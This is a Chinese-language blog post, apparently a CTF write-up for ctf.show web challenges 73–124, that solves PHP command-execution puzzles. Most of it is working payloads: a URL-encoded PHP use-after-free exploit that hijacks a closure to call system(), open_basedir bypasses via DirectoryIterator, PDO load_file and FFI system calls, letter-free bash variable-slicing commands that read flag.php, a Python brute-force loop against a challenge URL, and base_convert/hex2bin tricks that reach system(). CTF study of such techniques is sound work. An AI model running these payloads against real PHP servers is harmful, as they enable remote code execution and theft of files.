7B%0D%0A++++++++%23+str_shuffle+prevents+opcache+string+interning%0D%0A++++++++%24arg+%3Dstr_shuffle%28%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27%29%3B%0D%0A++++++++%24vuln+%3D+new+Vuln%28%29%3B%0D%0A++++++++%24vuln-%3Ea+%3D+%24arg%3B%0D%0A++++%7D%0D%0A%0D%0A++++if%28stristr%28PHP_OS%2C+%27WIN%27%29%29+%7B%0D%0A++++++++die%28%27This+PoC+is+for+*nix+systems+only.%27%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%24n_alloc+%3D+10%3B+%23+increase+this+value+if+UAF+fails%0D%0A++++%24contiguous+%3D+%5B%5D%3B%0D%0A++++for%28%24i+%3D+0%3B+%24i+%3C+%24n_alloc%3B+%24i%2B%2B%29%0D%0A++++++++%24contiguous%5B%5D+%3D+str_shuffle%28%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27%29%3B%0D%0A%0D%0A++++trigger_uaf%28%27x%27%29%3B%0D%0A++++%24abc+%3D+%24backtrace%5B1%5D%5B%27args%27%5D%5B0%5D%3B%0D%0A%0D%0A++++%24helper+%3D+new+Helper%3B%0D%0A++++%24helper-%3Eb+%3D+function+%28%24x%29+%7B+%7D%3B%0D%0A%0D%0A++++if%28strlen%28%24abc%29+%3D%3D+79+%7C%7C+strlen%28%24abc%29+%3D%3D+0%29+%7B%0D%0A++++++++die%28%22UAF+failed%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%23+leaks%0D%0A++++%24closure_handlers+%3D+str2ptr%28%24abc%2C+0%29%3B%0D%0A++++%24php_heap+%3D+str2ptr%28%24abc%2C+0x58%29%3B%0D%0A++++%24abc_addr+%3D+%24php_heap+-+0xc8%3B%0D%0A%0D%0A++++%23+fake+value%0D%0A++++write%28%24abc%2C+0x60%2C+2%29%3B%0D%0A++++write%28%24abc%2C+0x70%2C+6%29%3B%0D%0A%0D%0A++++%23+fake+reference%0D%0A++++write%28%24abc%2C+0x10%2C+%24abc_addr+%2B+0x60%29%3B%0D%0A++++write%28%24abc%2C+0x18%2C+0xa%29%3B%0D%0A%0D%0A++++%24closure_obj+%3D+str2ptr%28%24abc%2C+0x20%29%3B%0D%0A%0D%0A++++%24binary_leak+%3D+leak%28%24closure_handlers%2C+8%29%3B%0D%0A++++if%28%21%28%24base+%3D+get_binary_base%28%24binary_leak%29%29%29+%7B%0D%0A++++++++die%28%22Couldn%27t+determine+binary+base+address%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++if%28%21%28%24elf+%3D+parse_elf%28%24base%29%29%29+%7B%0D%0A++++++++die%28%22Couldn%27t+parse+ELF+header%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++if%28%21%28%24basic_funcs+%3D+get_basic_funcs%28%24base%2C+%24elf%29%29%29+%7B%0D%0A++++++++die%28%22Couldn%27t+get+basic_functions+address%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++if%28%21%28%24zif_system+%3D+get_system%28%24basic_funcs%29%29%29+%7B%0D%0A++++++++die%28%22Couldn%27t+get+zif_system+address%22%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%23+fake+closure+object%0D%0A++++%24fake_obj_offset+%3D+0xd0%3B%0D%0A++++for%28%24i+%3D+0%3B+%24i+%3C+0x110%3B+%24i+%2B%3D+8%29+%7B%0D%0A++++++++write%28%24abc%2C+%24fake_obj_offset+%2B+%24i%2C+leak%28%24closure_obj%2C+%24i%29%29%3B%0D%0A++++%7D%0D%0A%0D%0A++++%23+pwn%0D%0A++++write%28%24abc%2C+0x20%2C+%24abc_addr+%2B+%24fake_obj_offset%29%3B%0D%0A++++write%28%24abc%2C+0xd0+%2B+0x38%2C+1%2C+4%29%3B+%23+internal+func+type%0D%0A++++write%28%24abc%2C+0xd0+%2B+0x68%2C+%24zif_system%29%3B+%23+internal+func+handler%0D%0A%0D%0A++++%28%24helper-%3Eb%29%28%24cmd%29%3B%0D%0A++++exit%28%29%3B%0D%0A%7D%0D%0A

image-20210527214033536

web73(无代码)

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
c=include("/flagc.txt");exit();
//注意文件名为flagc.txt

web74

与web73一样,只不过文件名为flagx.txt

web75

文件名为flag36.txt

用include不行了

hint中有提示

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

得到flag

这个脚本的意思是用SQL语句来读文件绕过open_basedir和disable_function,从而得到flag

web76

同上web75,只是文件名不一样:flag36d.txt //记得改!

web77

列出根目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();

这是回显的根目录

bin boot dev etc flag36x.txt home lib lib64 media mnt opt proc readflag root run sbin srv sys tmp usr var 

里面可以看到flag36.txt和readflag,可以利用readflag进行FFI

这是hint

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

hint使用为:

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag >/var/www/html/1.txt';
$ffi->system($a);exit();

直接访问原url+1.txt,就会得到flag

image-20210527235603944

web118

无代码,打开后是一个页面

image-20210530203255202

提示为flag in flag.php

查看源代码后发现有一个系统变量code,返回后尝试了几个code值,发现其过滤了小写字母,数字,和部分字符

这道题利用的是linux的bash内置变量还有关于它的一些知识点

常见 Bash 内置变量介绍:https://www.cnblogs.com/sparkdev/p/9934595.html
Linux 基础知识:Bash的内置变量:https://blog.51cto.com/allenh/1695810

可以利用切片来找到需要的字母

姿势一:

image-20210601193357718

因为字母被过滤,所以可以用取反号(~)和大写字母

image-20210601193638622

在这里字母等同于0

所以可以利用各个环境变量的最后一位来构造命令,
${PWD}对于题的话肯定是是/var/www/html,而${PATH}通常结尾是bin,因此就可以构造命令nl

${PATH:~A}${PWD:~A} ????.???
//查看源代码,找到flag

姿势二:

┌──(root💀kali)-[/]
└─# echo ${#HOME} 
5                                                 //home:/root ----->5                                                                          
┌──(root💀kali)-[/]
└─# echo ${#SHLVL}
1
                                                                          
┌──(root💀kali)-[/]
└─# echo ${PATH}  
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
                                                                          
┌──(root💀kali)-[/]
└─# echo ${PATH:${#HOME}:${#SHLVL}}
l
                                                                          
┌──(root💀kali)-[/]
└─# echo ${#RANDOM}                
4                                                                     

hint利用就是此方法,可以构造命令nl

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???

web119

这次把path给禁了

RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时 $ {SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

姿势一:构造/bin/base64 flag.php

echo ${PWD}     /var/www/html
${PATH}        /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

对应值
${#}   0
${##}  1
${PWD:${#}:${SHLVL}}   /
${#HOSTNAME}     0
${#SHLVL}      1
${#RANDOM}     生成随机数
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${PHP_CFLAGS:~A} ????.???
或
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???     //这个要多试几次
对应为/bin/base64 flag.php

姿势二:/bin/cat flag/php

hint:
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

${PWD:${Z}:${#SHLVL}}    ====>   /

/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

姿势三:tac flag.php(不是特别懂)

PHP_CFLAGS=-fstack-protector.........(后面还有,我们只是利用tac)

PHP_VERSION=7.3.22(这个可以通过抓包得到)

SHLVL=2

${PHP_VERSION:${PHP_VERSION:A}:${SHLVL}}=3

tac:${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}}
code=${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.???

web120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }                 //长度不能超过65
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

直接传发现找不到flag,于是我用bp抓包,再传code的值,在最后面找到flag

image-20210603203901557

其他姿势:

/bin/base64 flag.php        //web119姿势一
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???     //要多试几次

web121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>
//源代码

ban了好多的东西,但是PWD还有

${##}        1
${#?}        1
${#IFS}      3
IFS
用途:定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline)。

这里用的是/bin/rev命令来读取flag,rev是把文件中每行逆序输出读取

而PWD是/var/www/html,正好可以取到r

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

web122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?> //源代码

这道题有把#和PWD过滤了,PWD没有了,可以用HOME,而#,就要用到$?

$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

所以在使用$?之前,要先给code一个错误的命令 让$?的值为1(即:code=<A)
${}<A都可以,但是题目上${}这个不可以
所以用<A后边的数字4还是用RANDOM随机数来获取

hint:
payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的机会,不断刷新

上脚本:

import requests
url = 'http://535535a0-6332-4ade-a0a3-09defd9a7928.challenge.ctf.show:8080/'
dataer = {'code':r'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'}
while True:
    res = requests.post(url,data = dataer)
    if "PD9waHA" in res.text:
        print(res.text)
        break

image-20210603212927759

web124

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} //源代码

首先正则表达式,不能有奇怪的字符和函数,只能使用指定的函数(即$whitelist中的函数)

base_convert(number,frombase,tobase);
参数	描述
number	    必需。规定要转换的数。
frombase	必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase	    必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。

因此我们要构造出如下表达式:

c=$_GET[a]($_GET[b])&a=system&b=cat flag

base_convert() 函数在任意进制之间转换数字。
getallheaders获得所有 HTTP 变量值。
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为 ASCII 字符

姿势一:(尝试没成功)

echo base_convert('system',36,10);
//得到1751504350,从36进制转换到10进制,36进制包含10个数字和26个字母

echo base_convert('getallheaders',30,10);
//得到8768397090111664438,这里不使用36进制是因为精度会丢失,尝试到30的时候成功
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})

用bp抓包后,在http头里面加一个

1:cat /flag

在响应中找到flag

姿势二:$_GET

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{acos}($$pi{abs});&acos=system&abs=cat flag.php    //太长
// base_convert(37907361743,10,36) -> hex2bin
// dechex(1598506324) -> 5f474554
// hex2bin("5f474554") -> _GET

$pi 的值为 hex2bin("5f474554") ,$$pi 也就是 $hex2bin("5f474554") -> $_GET ,变成了预定义变量。
$$pi{acos}($$pi{abs}):$_GET{acos}$_GET{abs}
&acos=system&abs=cat flag.php:给acos和abs赋值
!!!记得查看源代码!!!

o了!!!

posted @ 2022-03-08 13:39  森sen  阅读(494)  评论(0编辑  收藏  举报